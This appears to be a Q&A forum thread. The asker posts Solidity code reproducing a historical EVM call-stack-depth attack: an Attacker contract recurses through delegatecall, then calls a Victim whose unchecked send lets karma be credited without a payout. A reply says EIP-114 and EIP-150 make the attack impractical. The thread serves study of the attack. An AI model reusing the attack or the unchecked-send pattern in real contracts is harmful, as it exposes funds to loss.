6

I am trying to replicate the attack I found here: Reproducing stack depth attack

contract Attacker {
Victim public victimContract;
uint x;

function Attacker(){
    victimContract = (new Victim).value(10 wei)();
}

function attack(uint y) {
    if (y > x) {
        this.delegatecall(bytes4(sha3('attack(uint256)')), --y);
    }
    else {
        victimContract.donate.value(1)(this, 1);
    }


  }
}

contract Victim {
    mapping(address => uint) karma;
    function donate(address someAddress, uint amount){
        if(msg.value == amount) {
            someAddress.send(amount);
            karma[msg.sender] += amount;
        }            
    }
}

I have tried with Remix 0.3.4 solidity compiler but cannot get the contract to execute now because of the per block gas limit of 3,000,000 which the transaction exceeds.

I am interested in seeing its execution on the EVM, since I want to visualise it. Does anyone know the transaction hash(s) of any successful stack depth attacks?

1

Call depth attacks are impractical now (see EIP114 and EIP150). So they could be only reproduced in old versions of EVM.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.